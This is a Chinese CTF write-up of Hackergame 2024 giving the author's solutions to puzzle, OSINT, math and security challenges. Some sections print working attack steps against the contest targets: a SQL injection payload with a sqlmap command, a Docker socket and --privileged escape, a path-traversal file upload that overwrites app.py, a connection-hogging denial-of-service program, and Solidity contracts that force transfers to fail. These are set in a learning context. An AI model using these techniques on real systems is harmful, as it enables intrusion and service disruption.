Skip to content

Hackergame 2024 解题记录

Updated: at 09:43 PMSuggest Changes

Table of contents

Open Table of contents

Introduction

Hackergame 2024 是中国科学技术大学第十一届信息安全大赛。这是我第一次参加这种类似 CTF 的比赛,但是玩的还是很开心 🥰 最后得到 5950 分,总排名 25/2460。

这次比赛也让我学习到很多知识。很多技术以往只是模糊知道概念,实际并没有上手过,于是实际上就是不知道。在一个较为拟真的环境中将这些东西实际实现出来,大大有利于技术的精进,又是大量题目密集在一起,实在直呼过瘾。当然,也确实指出了我现在的不足之处 (如果要搞全沾开发) :binary 题我是一个不会啊 😭

本来是想将本文写成题解的。但是我赛后去看了一下官方题解,其实与我的方案都差别不小,而官方题解显然更加优雅而具有学习意义。于是此文权当一个对我做题过程和思路的简单记录罢。因此以下题目按我赛时开题顺序。

签到

浏览器调出开发者工具对前端代码进行审计,注意到 function submitResult() 中最后 window.location = `?pass=${allCorrect}`;

于是地址后面加上 ?pass=true 即可。

喜欢做签到的 CTFer 你们好呀

首先谷鸽搜索 「中国科学技术大学 战队」, 得知「校内 CTF 战队」应是指「Nebula」,然后逛了一下找到官网是 nebuu.la 。不过其实比赛主页有

通过 help 看了眼所有命令,再花了一分钟全试了一遍,发现一个在 env,另外一个通过 ls -la 发现在 .flag

猫咪问答(Hackergame 十周年纪念版)

搜索引擎题。

  1. https://lug.ustc.edu.cn/wiki/lug/events/hackergame/ 可以看到历次比赛的存档。推算得知第二届即为 2015 年。
  2. 对着官方往年题解一个个数。
  3. 翻到官方 2018 年的题解发现当年也有「猫咪问答」,其中第 4 题要求在图书馆中检索《程序员的自我修养:链接、装载与库》。于是合理推测答案为 程序员的自我修养
  4. 咕鸽搜索 「USENIX Security USTC」,没有得到满意的结果。更换关键词为 「USENIX 2024 USTC “email”」 得到 https://www.usenix.org/system/files/usenixsecurity24-ma-jinrui.pdf 。 直接一个 Cmd-F 搜 「combination」 就得到了 , resulting in 336 combinations (including 16 web interfaces of target providers). (Ma et al., 2024)
  5. 紧跟时事了。https://github.com/torvalds/linux/commit/6e90b675cf942e50c70e8394dfb5862975c3b3b2
  6. https://belladoreai.github.io/llama3-tokenizer-js/example-demo/build/ 但是发现不对,尝试 +1 或者 -1 遂过。

打不开的盒

咕果搜索 「what is a stl file」 得知原来这是个 3D 模型,而且 macOS 自带的 Preview.app 可以直接打开。遂直接开盒手抄出 flag。

每日论文太多了!

下载 PDF 直接 Cmd-F 搜索 「flag」,发现在 Figure 6, p. 508 (Wang et al., 2024) 命中了一个 flag here,但是表面看不到任何文字。

于是把 PDF 丢进了 Pixelmator Pro (或者其他可以编辑矢量图的)一看,表面覆盖了一层白色填充,可以直接拖到一边去,底下的 flag 就看得到了。

比大小王

发现你这小孩哥是个代码,那我也上代码吧。

game = session.post(
    "/game",
    cookies=cookies,
    headers=headers,
    json=json_data,
    verify=False,
)
game_data = json.loads(game.text)["values"]

results = []
for game in game_data:
    [a, b] = game
    results.append(">" if a > b else "<")
results_json = {"inputs": results}

注意需要一个比较合适的延迟再上传答案,不然系统会判断作弊。

import time

time.sleep(7)
submit = session.post(
    "/submit",
    cookies=cookies,
    headers=headers,
    json=results_json,
    verify=False,
)
print(json.loads(submit.text))

即可击败你这虚伪的小孩哥。

旅行照片 4.0

搜索引擎题。

…LEO 酱?…… 什么时候

  1. 百度地图首先搜索「合肥」跳转到合肥市内,然后搜索「科里科气科创驿站 中科大」即可直接确定。
  2. 古歌搜索「中科大音乐会」,找到 https://space.bilibili.com/7021308/article ,在里面翻 5 秒钟就看到了。

诶?我带 LEO 酱出去玩?真的假的?

  1. 放大图片右下角垃圾桶盯帧,发现写的「六安」。同样百毒地图首先搜索「六安」,再搜索「公园」。给出了一系列公园,我猜是按热度排序的?先看第一个“中央森林公园”,打开卫星图可以发现步道中间有类似的线,同样被划分成三条道。
  2. 直接咕歌搜图可以找到携程上的页面。都不用点进去看,“坛子岭”就写在标题上。

尤其是你才是最该多练习的人

  1. 先做第 2 问。注意到此处存车线规模巨大且部分线上盖有建筑,应该是一个「动车所」。继续搜索「怀密 动车所」,可以确定怀密线使用的是「北京北动车所」。在摆渡地图搜索,可以确定附近的医院为 “积水潭医院”。(看起来这张照片就是在医院楼上拍的?
  2. 左下角那组车的粉色在北京的雾霾天很是显眼啊,古割搜索「CRH 粉色」可以确定这是「市郊铁路怀密线」。车辆型号为 “CRH6F-A”。

PaoluGPT

千里挑一

写了一个爬虫。

response = requests.get(
    "/list",
    cookies=cookies,
    headers=headers,
)
tree = etree.HTML(response.text)
links = tree.xpath("//ul//a/@href")
for link in links:
    conv = requests.get(
        BASE_URL + link,
        cookies=cookies,
        headers=headers,
    )
    flags = re.findall(r"flag{.*?}", conv.text)
    if len(flags):
        print(flags, link)

窥探未知

发现网站源码是可以下载的,于是对其进行一个审计。发现 L67, main.py SQL语句没有做任何检查就格式化进去了。

results = execute_query(f"select title, contents from messages where id = '{conversation_id}'")

不过我已经忘记怎么写注入了,遂让 sqlmap 代劳。

nix run nixpkgs#sqlmap -- "/view?conversation_id=e94185f1-f26e-491c-bccf-92bd9f76b996" --cookie= --columns

给出了盲注的 payload。

' AND 2724=2724 AND 'Magr'='Magr

观察 @app.route("/list") 的代码,其中要求

where shown = true

结合本小题名字,最后我们访问 /view?conversation_id=0' OR shown=false AND 2724=2724 AND 'Magr'='Magr 。在页面上 Cmd-F 「flag」 就找到了。

先不说关于我从零 (后略)

「行吧就算标题可 (后略)

当成填空题做了。但是你都打上 AI 标签了,那 AI 先填一遍。我再改一遍。

「就算你把我说的 (后略)

不会。看官方题解发现自己应该会的。确实是对 LLM 理解不够深入了。

强大的正则表达式

Easy

Wikipedia 说整除 16 只需要末 4 位被整除即可。所以我们可以把 0-9999 所有被整除的列出来,前面再允许任意数字就好了。

rex = []

for i in res:
    i = str(i)
    if len(i) == 1:
        rex.append(f"((000){i})")
    if len(i) == 2:
        rex.append(f"((00){i})")
    if len(i) == 3:
        rex.append(f"((0){i})")
    if len(i) == 4:
        rex.append(f"({i})")

rest = f"(|0|1|2|3|4|5|6|7|8|9)*({"|".join(rex)})"
print(rest)

Medium

我们可以构造一个状态机(毕竟正则都叫正则了),而二进制输入更是为构造降低了难度。

具体来说,13 的余数 0-12 是 13 个状态,输入只有 0 和 1,初始状态为 0,接受的最终状态为 0。那么转移函数 δ:Q×EQ\delta: Q \times E \rightarrow Q 可以定义为 δ(s,i)=(2s+i)mod13\delta(s, i)=(2s+i)\bmod 13

于是我就开心地去手动把这个自动机画完了,问题只剩下怎么把状态机写成正则表达式。手动去翻译是不愿意的,这玩意看起来还挺长的。于是找到了 greenery 这个库。

from greenery import Charclass, Fsm

fsm = greenery.Fsm(
    alphabet={Charclass("0"), Charclass("1"), ~Charclass("01")},
    states={0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, -1},
    initial=0,
    finals={0},
    map={
        0: {Charclass("0"): 0, Charclass("1"): 1, ~Charclass("01"): -1},
        1: {Charclass("0"): 2, Charclass("1"): 3, ~Charclass("01"): -1},
        2: {Charclass("0"): 4, Charclass("1"): 5, ~Charclass("01"): -1},
        3: {Charclass("0"): 6, Charclass("1"): 7, ~Charclass("01"): -1},
        4: {Charclass("0"): 8, Charclass("1"): 9, ~Charclass("01"): -1},
        5: {Charclass("0"): 10, Charclass("1"): 11, ~Charclass("01"): -1},
        6: {Charclass("0"): 12, Charclass("1"): 0, ~Charclass("01"): -1},
        7: {Charclass("0"): 1, Charclass("1"): 2, ~Charclass("01"): -1},
        8: {Charclass("0"): 3, Charclass("1"): 4, ~Charclass("01"): -1},
        9: {Charclass("0"): 5, Charclass("1"): 6, ~Charclass("01"): -1},
        10: {Charclass("0"): 7, Charclass("1"): 8, ~Charclass("01"): -1},
        11: {Charclass("0"): 9, Charclass("1"): 10, ~Charclass("01"): -1},
        12: {Charclass("0"): 11, Charclass("1"): 12, ~Charclass("01"): -1},
        -1: {Charclass("0"): -1, Charclass("1"): -1, ~Charclass("01"): -1},
    },
)
pattern = greenery.rxelems.from_fsm(fsm.reduce())

但是这个表达式有一些地方不符合我们题目的要求,具体来说,里面用了 ?{\d} 。所以我手动对正则表达式做了一些正则替换。简单来说就是把 ? 换成 (.*|),再把 {\d} 展开。

pattern.equivalent(
    greenery.parse(
        ""
    )
)

最后验证表达式等价。

Hard

显然与上一题是相同的套路。不过我没写出来转移函数……因为不会 CRC。

惜字如金 3.0

又是 CRC 😭

题目 A

填空题。AI 也会填。

ZFS 文件恢复

哎呀最近正好在玩 ZFS。来让我看看!

首先拿到一个 .img,传统美德是先丢进十六进制查看器看一眼搜一下,结果直接把 flag2.sh 拿到手了。虽然不是 flag,那就先存着。

那就挂载镜像吧,先用的参考命令。进去一看有个 snapshot,但是我们直接跑到 data/.zfs/snapshots 下面也是没看着文件。

然后一看,仅供参考怎么是加粗的(其实没有什么特别意义),然后看了一下可以 zpool-import 到一个特定 txg 来进行回滚。然后我把全部 txg 都列出来(zdb -u,虽然没什么用),然后都回滚了一遍发现什么也没发现。

好吧,那只能让 zdb 多吵吵一下了,zdb -ddddd hg2024 拿出来了很多东西,慢慢分析一下。文档是说,Specified once, displays basic dataset information: ID, create transaction, size, and object count. (zdb(8)) 。这是把所有 object 和有关 block 都列出来了。

那我们来找找我们想要的:文件。在输出里搜索 ZFS plain file,可以看到只有两个。遂大喜,这显然就是 flag1.txtflag2.sh。注意 flag2.sh 我们已经拿到了,是个比较小的文件。可以据此区分两个文件。(而且只有一个文件 mode 里有 x )

    Object  lvl   iblk   dblk  dsize  dnsize  lsize   %full  type
         2    2   128K     4K  3.50K     512     8K  100.00  ZFS plain file
                                               176   bonus  System attributes
        dnode flags: USED_BYTES USERUSED_ACCOUNTED USEROBJUSED_ACCOUNTED
        dnode maxblkid: 1
        path    on delete queue
        uid     0
        gid     0
        atime   Thu Mar  9 23:56:50 2006
        mtime   Sun May 29 03:49:29 1977
        ctime   Wed Oct 23 21:37:22 2024
        crtime  Wed Oct 23 21:37:22 2024
        gen     10
        mode    100644
        size    4135
        parent  34
        links   0
        pflags  840800000004
Indirect blocks:
               0 L1  0:21800:400 20000L/400P F=2 B=11/11 cksum=00000090a02a87e8:00005c1242163a70:001f9a22c2a8565e:07b4c5ba8259446b
               0  L0 0:20e00:a00 1000L/a00P F=1 B=11/11 cksum=0000014a1deb79ea:0001a7601903257e:0162d0f05c3cdc80:ddef6cee5f27f0da
            1000  L0 EMBEDDED et=0 1000L/49P B=11

                segment [0000000000000000, 0000000000002000) size    8K

    Object  lvl   iblk   dblk  dsize  dnsize  lsize   %full  type
         3    1   128K    512    512     512    512  100.00  ZFS plain file
                                               176   bonus  System attributes
        dnode flags: USED_BYTES USERUSED_ACCOUNTED USEROBJUSED_ACCOUNTED
        dnode maxblkid: 0
        path    on delete queue
        uid     0
        gid     0
        atime   Mon Nov 10 04:49:03 2036
        mtime   Sat Jan 12 01:18:00 2013
        ctime   Wed Oct 23 21:37:22 2024
        crtime  Wed Oct 23 21:37:22 2024
        gen     11
        mode    100755
        size    331
        parent  34
        links   0
        pflags  840800000104
Indirect blocks:
               0 L0 0:20800:200 200L/200P F=1 B=11/11 cksum=000000183f4804d4:0000083252f9e1df:0001815a81b4ab7f:00329586c233bc76

                segment [0000000000000000, 0000000000000200) size   512

那么这时候 flag2 已经可以解了。看文档 stat(1):

%X     time of last access, seconds since Epoch
%Y     time of last data modification, seconds since Epoch

那么我们只需要分别把两个文件的 atimemtime 转换成 UNIX timestamp,替换到 flag2.sh 运行即可。

然后我开始着手恢复 flag1.txt。我一开始想,啊,我都知道你文件 object 对应哪些 block 了,直接读这些 block (zdb -R) 不行吗。主要存在两个问题。其一,文件是被 gzip 压缩的,而 zdb -R 在信息熵不足的时候无法正确解压缩。其二,flag1.txt 有一部份块地址为 EMBEDDED,然后我当时没查到这个地址指的啥 🥲

不过没关系,我们 zdb 也是可以直接读 object 的。zdb -B 可以直接 dump 一个 dataset 出来,然后可以被 zstream dump -d 解析出来。 也就是 zdb -B hg2024/139 | zstream dump -d

 6c 75 61 69  78 6d 70 72  70 67 68 61  71 6a 66 6c   luai xmpr pgha qjfl
    checksum = 2388d63a19/37aec6ae4719/393e10dd9e0ed3/2c106546000e7e31
WRITE object = 2 type = 19 checksum type = 2 compression type = 0 flags = 0 offset = 4096 logical_size = 4096 compressed_size = 0 payload_size = 4096 props = 0 salt = 0000000000000000 iv = 000000000000000000000000 mac = 00000000000000000000000000000000
 61 67 7b 70  31 41 49 6e  4e 4e 6d 6d  6e 6e 6d 6d   ag{p 1AIn NNmm nnmm
 6e 74 45 78  78 74 5f 35  30 65 61 73  79 7e 72 31   ntEx xt_5 0eas y~r1
 67 68 74 3f  7e 7d 0a 00  00 00 00 00  00 00 00 00   ght? ~}.. .... ....

果然是跨块了,坏!

零知识数独

数独高手

网页上玩 4 个数独就行了。

剩下的不会。

无法获得的秘密

看到这题我首先想到的是 QR Code。但是我一看,这输入确实是只有键盘鼠标啊,那 QR Code 的库要手敲进去 15 分钟估计是敲不完。其实看赛后题解发现可以写自动化,不过我代码都是远程服务器写所以第一时间没想到在本地跑代码。

那就退而求其次,我第二个想到的是 OCR。先用 base85 和 base64 测试了一下,发现识别准确率不够理想。但是拷打 AI 得到了一篇博客 (Monperrus, 2020),里面提出识别十六进制的准确度很高。

那就开始实现吧。首先需要把文件转成十六进制,这部分可以用 xxd -p 实现。但是 xxd 输出会在 80 个字符处换行,这样占不满屏幕很没效率。所以可以接一个 tr -d "\n"

然后是一个卡了我比较久的问题,输出了这么多字符怎么一个不落地显示出来。我是快速写了一个简短的 python 脚本(保证我能在两分钟内敲出来)。

import sys
import os
import time

s = os.get_terminal_size()
ct = s.columns * s.lines

i = sys.stdin.read()
ps = [i[j:j+ct] for j in range(0, len(i), ct)]

for s in ps:
    os.system('clear')
    print(s, end='', flush=True)
    sys.stdout.flush()
    time.sleep(0.7)

print("")

只需要全屏 Terminal (还可以先改分辨率),再运行 xxd -p /secret | tr -d "\n" | python3 a.py,应该就好了…… 不是。这个 VNC 居然会跳帧,于是还得来回修改每次输出间的延时。最后将终端画面通过屏幕录制存下来,那本质上我们已经把文件带出来了,只差怎么还原。

首先考虑到这是个视频文件,我先用 opencv 将重复的帧剔除。具体来说,将每一帧二值化后与上一帧求差,若不同的像素数量高于阈值则认为是不同的帧而保存下来。

def are_different_frames(a: cv2.UMat, b: cv2.UMat) -> bool:
    a = cv2.cvtColor(a, cv2.COLOR_BGR2GRAY)
    a = cv2.threshold(a, 200, 255, cv2.THRESH_BINARY)[1]
    b = cv2.cvtColor(b, cv2.COLOR_BGR2GRAY)
    b = cv2.threshold(b, 200, 255, cv2.THRESH_BINARY)[1]
    diff = cv2.absdiff(a, b)
    diff_pixel_count = cv2.countNonZero(diff)
    return diff_pixel_count > 37200
A figure comparing two different frames with histrogram and difference

可以看到效果还是不错的。

cap = cv2.VideoCapture("data.mov")
ret, prev_frame = cap.read()
unique_frames = [prev_frame]
while True:
    ret, curr_frame = cap.read()
    if not ret:
        break
    if are_different_frames(prev_frame, curr_frame):
        unique_frames.append(curr_frame)
    prev_frame = curr_frame

cap.release()

那么接下来是 OCR 的环节。这里我选用了 PaddleOCR。需要注意帧的尺寸太大时 OCR 库可能会在前处理时进行压缩,在现在这种场景下这对准确度会是毁灭性的打击。不过这个行为通常可以通过配置关闭。

from paddleocr import PaddleOCR

ocr = PaddleOCR(
    use_angle_cls=False,
    lang="en",
    det_limit_side_len=25600,
)

hex_texts = []
for frame in unique_frames:
    hex_texts.append("".join([line[1][0] for line in ocr.ocr(frame, cls=False)[0]]))

bytes_result = bytes.fromhex("".join(hex_texts))
with open("secret", "wb") as secret:
    secret.write(bytes_result)
    secret.close()

PaddleOCR 确实厉害,一次通过。

Node.js is Web Scale

是开了浏览器 Developer Tools 在 Console 里模拟了一下,发现有个 __proto__ 不知道是什么。

最后听 https://www.youtube.com/watch?v=gCVTbfDecwI 听懂的。

Docker for Everyone Plus

这道题很好,但是体验不是太好。主要问题是题目环境虚拟机启动太慢,文件上传困难。

No Enough Privilege

首先发现我们可以 sudo docker image load,那么我们肯定是要上传一个镜像上去的。各种奇怪而无效的尝试略,最后使用 iTerm 2 + lrzsz + 神秘脚本。zmodem 又套上 nc 那是双重的慢,自然我们希望这个镜像能小一点,不然加载完镜像已经没时间做题了。

说起小镜像第一印象自然是 scratch,白纸一张啥都没有。那么接下来最小可用的很容易想到是 busybox,一搜果然有官方镜像,busybox:uclibc 仅 1.23M,我都懒得再 gzip 一下了。

那么我们已经可以 sudo docker run --rm -u 1000:1000 -it busybox:uclibc 拿到一个我们有完全控制的 shell 了。

ls -ln 看到 /flag0(root) 组内也是可以读的,接着看被连接的 /dev/vdb,同样组内可读,不过组是 6(disk)。那么我们的思路就是给容器加上这些组,再让它能读设备。

sudo docker run --rm -u 1000:1000 -it --group-add 0 --group-add 6 --privileged -v /flag:/flag busybox:uclibc
cat /flag

拿到第一个 flag。

Unbreakable!

看到 docker run 被加了这么多限制,我是怒从心头起,直接不用你给我的 sudo docker run 了。

其实也很简单,众所周知 docker 本质只是一个客户端,其通过 /var/run/docker.sock 向 Docker Daemon 交互。那么我的思路就是把这个 .sock 映射进自己的容器里,再用自己(从 host 映射来)的 docker cli 交互。但是 Docker Daemon 就那一个跑在宿主机上,所以相当于得到了完整的 docker cli。

这里只有一个小小的问题,dockerbusybox:uclibc 里缺运行库捏。在宿主机上 ldd 看一眼,使用的是 musl。那我们干脆就传个 alpine 镜像吧。gzip -9 以后大概 3.5M,也能接受。

sudo docker run --rm --security-opt=no-new-privileges -u 1000:1000 --group-add 103 -it -v /var/run/docker.sock:/var/run/docker.sock:rw -v /usr/bin/docker:/usr/bin/docker alpine
docker run -it --rm --group-add 0 --group-add 6 --privileged -v /flag:/flag alpine
cat /flag

不太分布式的软总线

又出现了文件上传困难,后面类似需要传二进制的题都有同样情况。

What DBus Gonna Do?

简单拷打 AI 可以得到一个命令就能解决。

#!/bin/sh

dbus-send --print-reply --dest=cn.edu.ustc.lug.hack.FlagService /cn/edu/ustc/lug/hack/FlagService cn.edu.ustc.lug.hack.FlagService.GetFlag1 string:com.pgaur.GDBUS string:"Please give me flag1"

If I Could Be A File Descriptor

对着题目附件给的 getflag3.c 照猫画虎写了一个。可以传一个 pipe 过去。坑点在于接受 fd 居然是在另外的参数,所以要用另外的函数。

connection = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &error);

int pipefd[2];
int fd = pipefd[1];

const char *message = "Please give me flag2\n";
size_t message_length = strlen(message);

if (write(fd, message, message_length) != message_length) {
  perror("write failed");
  close(fd);
  return EXIT_FAILURE;
}
close(fd);

int rfd = pipefd[0];

result = g_dbus_connection_call_with_unix_fd_list_sync(
    connection, DEST, OBJECT_PATH, INTERFACE, METHOD, g_variant_new("(h)", 0),
    g_variant_type_new("(s)"), G_DBUS_CALL_FLAGS_NONE, -1,
    g_unix_fd_list_new_from_array(&rfd, 1), NULL, NULL, &error);

if (result) {
  gchar *flag;
  g_variant_get(result, "(&s)", &flag);
  g_print("%s", flag);
  g_variant_unref(result);
} else {
  g_printerr("Error calling D-Bus method %s: %s\n", METHOD, error->message);
  g_error_free(error);
}

然后编译也照着给的 Makefile 用 pkg-config 。但是问题就是这个编译出来的二进制,传上去不运行!

报的 file not found,估摸着是动态链接的问题,那就编译成静态文件吧。首先要对编译命令作出一些修改

flag2: flag2.c
	gcc -static `pkg-config --static --cflags blkid glib-2.0 gio-2.0` flag2.c -o flag2 `pkg-config --static --libs blkid glib-2.0 gio-2.0`

然后我们写一个 nix package 来创造一个合适的编译环境

flag2 = pkgs.stdenv.mkDerivation {
  pname = "flag2";
  version = "1.0";

  src = ./src;

  buildInputs =
    (with pkgs.pkgsStatic; [
      glib
      pcre2
      libselinux
      libsepol
    ])
    ++ (with pkgs; [
      musl
      util-linux

      gcc13
      gnumake
      pkg-config
    ]);

  nativeBuildInputs = with pkgs; [ gcc13 ];

  buildPhase = ''
    make clean
    make flag2
  '';

  installPhase = ''
    mkdir -p $out
    cp flag2 $out
  '';
};

nix build .#flag2 后上传 ./result/flag2 即可。

Comm Say Maybe

拷打 AI 得知可以通过 prctl 改自己的 /proc/self/comm。然后还给了个用 GNU D-Bus 的 code,我觉得比题目给的 gio 更可读一点。

connection = dbus_bus_get(DBUS_BUS_SYSTEM, &error);
message = dbus_message_new_method_call(DEST, OBJECT_PATH, INTERFACE, METHOD);

const char *payload = "getflag3";
if (prctl(PR_SET_NAME, (unsigned long)payload, 0, 0, 0) != 0) {
  perror("prctl");
  return EXIT_FAILURE;
}

reply = dbus_connection_send_with_reply_and_block(connection, message, -1,
                                                  &error);

if (dbus_message_iter_init(reply, &args)) {
  if (DBUS_TYPE_STRING == dbus_message_iter_get_arg_type(&args)) {
    dbus_message_iter_get_basic(&args, &result);
    printf("Received response: %s\n", result);
  } else {
    fprintf(stderr, "Unexpected response type\n");
  }
} else {
  fprintf(stderr, "No response arguments\n");
}

禁止内卷

审计源代码发现没有对文件名做任何检查就会直接写入。友善地请 AI 帮我在前端页面写了个 js 函数来自定义文件名。

注意到题面给出的「完整」启动命令中没有给出文件名。从 Flask 文档可以看到有一个自动发现的行为,那么文件名大概率是 app.py 或者 wsgi.py

最后上传 ../web/app.py

@app.route("/", methods=["GET"])
def index():
    with open("answers.json") as f:
        answers = json.load(f)
    return json.dumps(answers)

数据处理就很简单了

"".join(chr(i) for i in data)

动画分享

只要不停下 (后略)

审计源代码发现这个服务器是单线程的。而 TCP 是有状态的,我们可以建立一个 TCP 连接而不发送任何信息,于是服务器就会被卡死。但是我们需要让提交的程序先行返回才能触发判定 flag 的机制。可以 fork 一个进程出来然后让子进程睡大觉。

void open_connections() {
  int sockets[NUM_CONNECTIONS];
  struct sockaddr_in server_addr;
  char *server_ip = "127.0.0.1";
  int port = 8000;

  server_addr.sin_family = AF_INET;
  server_addr.sin_port = htons(port);
  if (inet_pton(AF_INET, server_ip, &server_addr.sin_addr) <= 0) {
    perror("Invalid address or address not supported");
    exit(EXIT_FAILURE);
  }

  for (int i = 0; i < NUM_CONNECTIONS; i++) {
    sockets[i] = socket(AF_INET, SOCK_STREAM, 0);
    if (sockets[i] < 0) {
      perror("Socket creation error");
      exit(EXIT_FAILURE);
    }

    if (connect(sockets[i], (struct sockaddr *)&server_addr,
                sizeof(server_addr)) < 0) {
      perror("Connection failed");
      close(sockets[i]);
      exit(EXIT_FAILURE);
    }
  }

  sleep(300);
}

int main() {
  pid_t pid = fork();

  if (pid < 0) {
    perror("Fork failed");
    return 1;
  } else if (pid == 0) {
    open_connections();
    exit(0);
  } else {
    printf("Parent process returning immediately.\n");
    return 0;
  }
}

希望的终端 (后略)

没做出来。以为是跟 X Server 有关。

关灯

Easy - Hard

跟二维的关灯没有本质区别,同样可以用线代计算。于是高斯消元的代码都没动。只需要处理一下如何把三维展开到一维。

def get_index(x: int, y: int, z: int) -> int:
    return x * n * n + y * n + z


def create_matrix():
    A = np.zeros((n * n * n, n * n * n), dtype=int)

    for i in range(n):
        for j in range(n):
            for k in range(n):
                index = get_index(i, j, k)
                A[index][index] = 1

                if i + 1 < n:
                    A[index][get_index(i + 1, j, k)] = 1
                if i - 1 >= 0:
                    A[index][get_index(i - 1, j, k)] = 1
                if j + 1 < n:
                    A[index][get_index(i, j + 1, k)] = 1
                if j - 1 >= 0:
                    A[index][get_index(i, j - 1, k)] = 1
                if k + 1 < n:
                    A[index][get_index(i, j, k + 1)] = 1
                if k - 1 >= 0:
                    A[index][get_index(i, j, k - 1)] = 1

    return A

def gauss(A, b):
    n = len(b)
    for i in range(n):
        pivot_row = i + np.argmax(A[i:, i])
        if A[pivot_row, i] == 0:
            continue

        A[[i, pivot_row]] = A[[pivot_row, i]]
        b[[i, pivot_row]] = b[[pivot_row, i]]

        for j in range(i + 1, n):
            if A[j, i] == 1:
                A[j] ^= A[i]
                b[j] ^= b[i]

    x = np.zeros(n, dtype=int)
    for i in range(n - 1, -1, -1):
        x[i] = b[i]
        for j in range(i + 1, n):
            x[i] ^= A[i][j] * x[j]

    return x

b = np.array(initial_state, dtype=int)
solution = gauss(A, b)

PowerfulShell

首先我们大致看一下还剩下哪些字符可用: `$|[]{}~-_=+:

看到 $ 就知道大概是要各种神奇的变量展开了。而且只有 0 被禁掉了(不然就太简单了)也是直接印证了我的想法。于是翻 bash 手册去了。最后选出来 ~ = /players$- = hB。一看 s h 齐全了,想办法拼在一起就好了。

可以看到 bash 有一个写法是 ${parameter:offset:length} ,不过 h 在 offset 0 不能直接写,可以倒过来当成 offset -2 。

__=~    #/players
___=$-  #hB
${__: -1: 1}${___: -2: 1}
cat ../flag

不宽的宽字符

礼貌询问 AI 得知在 Windows 上 wchar_t 是 UTF16-LE,而且 std::wstring::c_str() 给的是个 wchar_t*。然后聪明的小 A 帮我们强转成了 char*。众所周知一个 char* 会结束在 \0。那么目标就是构造一个后 8 位为 0 的 UTF16-LE。

先把 theflag 转成 ASCII,发现正好是 7 字节:74 68 65 66 6c 61 67

那么补一个 00 得到 74 68 65 66 6c 61 67 00,按 UTF16-LE 解码即可:桴晥慬g

优雅的不等式

Easy

一开始我看样例里面给的

f(x)=g(x)+h(x)where01g(x)=πf(x) = g(x) + h(x) \quad \text{where} \int_0^1 g(x)=\pi

形式挺好的,就这么解一下吧。看了一下 h(x) 的度太低,不妨先来个 2 推着玩。

h(x)=a(1x2)01h(x)=01a(1x2)=a[01 101x2]=23a\begin{aligned} h(x) &= a(1-x^2) \\ \int_0^1 h(x) &= \int_0^1 a(1-x^2) \\ &= a\left[\int_0^1\ 1 - \int_0^1 x^2\right] \\ &= \dfrac{2}{3}a \end{aligned}

那么令 h(x)=8/3h(x) = 8/3,得到 a=4a = 4。即 f(x)=41x24(1x2)f(x) = 4\sqrt{1-x^2} - 4(1-x^2)

Hard

结果我是在这个方向上执迷不悟啊,推了半天都没去管 g(x)g(x) 。然后一看,这提交长度限制只有 400,感觉这个方向是错的。那就直接构造 01f(x)=πp/q\int_0^1 f(x) = \pi - p/q 吧。

搜到 Lucas (2009) 近一步拓展了

Im,n=01xm(1x)n1+x2=a+bπ+cln2I_{m,n}=\int_0^1 \dfrac{x^m(1-x)^n}{1+x^2}=a+b\pi+c\ln{2}

指出

Im,n=01xm(1x)n(a+bx+cx2)1+x2=a+bπ+cln2I_{m,n}=\int_0^1 \dfrac{x^m(1-x)^n(a+bx+cx^2)}{1+x^2}=a+b\pi+c\ln{2}

可以看到在有解的情况下,如果 (a+bx+cx2)0,x[0,1](a+bx+cx^2) \geq 0, \forall x \in [0,1]xm(1x)n(a+bx+cx2)1+x20,x[0,1]\dfrac{x^m(1-x)^n(a+bx+cx^2)}{1+x^2} \geq0, \forall x \in [0,1]

那么我们在想要 Im,n=πp/qI_{m,n} = \pi - p/q 的情况下,只需要求解

{a=p/qb=1c=0\begin{cases} a=p/q \\ b=1 \\ c=0 \end{cases}

三个方程即可得到 f(x)f(x) 了。

接下来的问题是如何选择 m,nm,n 。大力枚举发现 m,nm,n 越大有解的 πp/q\pi - p/q 就越小,而且不会影响大的 πp/q\pi - p/q。最后主要考虑到 400 字符的提交限制,差不多选了一个。

m = 82
n = 81
integrand = x**m * (1 - x) ** n * (a + b * x + c * x**2) / (1 + x**2)
integral = sp.simplify(sp.integrate(integrand, (x, 0, 1)))

eq1, eq2, eq3 = 0, 0, 0

for term in integral.args:
    term_dpi = term / sp.pi
    if term.is_Symbol or (
        term.is_Mul
        and len(term.args) == 2
        and (
            (term.args[0].is_Symbol and term.args[1].is_Rational)
            or (term.args[1].is_Symbol and term.args[0].is_Rational)
        )
    ):
        eq1 += term
    elif term_dpi.is_Symbol or (
        term_dpi.is_Mul
        and len(term_dpi.args) == 2
        and (
            (term_dpi.args[0].is_Symbol and term_dpi.args[1].is_Rational)
            or (term_dpi.args[1].is_Symbol and term_dpi.args[0].is_Rational)
        )
    ):
        eq2 += term_dpi
    else:
        eq3 += term / sp.log(2)

def compute_integral_and_solve(p: int, q: int) -> str:
    solution = sp.solve(
        [eq1 + sp.Rational(p, q), eq2 - 1, eq3],
        (a, b, c),
        rational=True,
        dict=True,
    )
    if not len(solution):
        return

    ra = solution[0][a]
    rb = solution[0][b]
    rc = solution[0][c]

    domain = sp.Interval(0, 1)
    gtz = sp.solveset((ra + rb * x + rc * x**2) >= 0, x, domain) == domain

    if gtz:
        ans_str = str(sp.simplify(x**m * (1 - x) ** n * (ra + rb * x + rc * x**2) / (1 + x**2)))
        return ans_str

链上转账助手

从来没接触过 Web3 和 Solidity,全靠拷打 AI。

转账失败

batchTransfer 会通过 .transfer 调用我们写的合约中的 payable 函数。我们可以选择在这个函数中拒绝这个 transfer。

contract BatchTransfer {
    fallback() external payable {
        require(false, "never accept");
    }
}

转账又失败

Solidity 中每个操作都会消耗一定的 gas,而如果耗尽会直接回滚整个块。

contract BatchTransfer {
    address sender;

    function stalling1() internal {
        stalling2();
    }

    function stalling2() internal {
        stalling1();
    }

    receive() external payable {
        sender = msg.sender;
        require(msg.value > 0);

        stalling1();
    }
}

LESS 文件查看器在线版

开的最后一道题。其实已经查到 lesspipe 了。但是后来出去逛街了没继续做。